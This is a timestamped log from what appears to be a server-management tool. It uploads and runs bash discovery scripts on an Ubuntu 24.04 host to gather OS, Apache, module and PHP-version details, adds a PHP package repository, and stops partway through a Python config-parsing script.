MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 12:37:32: Establishing a connection
2025-12-31 12:37:33: Performing Server Status
2025-12-31 12:37:33:
PUT: /tmp/pkp173434
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 12:37:34:
chmod 755 /tmp/pkp173434; /tmp/pkp173434; rm /tmp/pkp173434
2025-12-31 12:37:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 2816 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-31 12:37:34:
PUT: /tmp/pkp682982
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-31 12:37:35:
chmod 755 /tmp/pkp682982; /tmp/pkp682982; rm /tmp/pkp682982
2025-12-31 12:37:35:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 437995 0.0 0.2 256144 35388 ? Ss Dec19 0:33 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-31 12:37:35:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-12-31 12:37:35:
PUT: /tmp/pkp281469
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 12:37:35:
chmod 755 /tmp/pkp281469; /tmp/pkp281469; rm /tmp/pkp281469
2025-12-31 12:37:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-31 12:37:36:
PUT: /tmp/pkp273479
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-31 12:37:36:
chmod 755 /tmp/pkp273479; /tmp/pkp273479; rm /tmp/pkp273479
2025-12-31 12:37:37:
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
2025-12-31 12:37:37:
PUT: /tmp/pkp197415
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
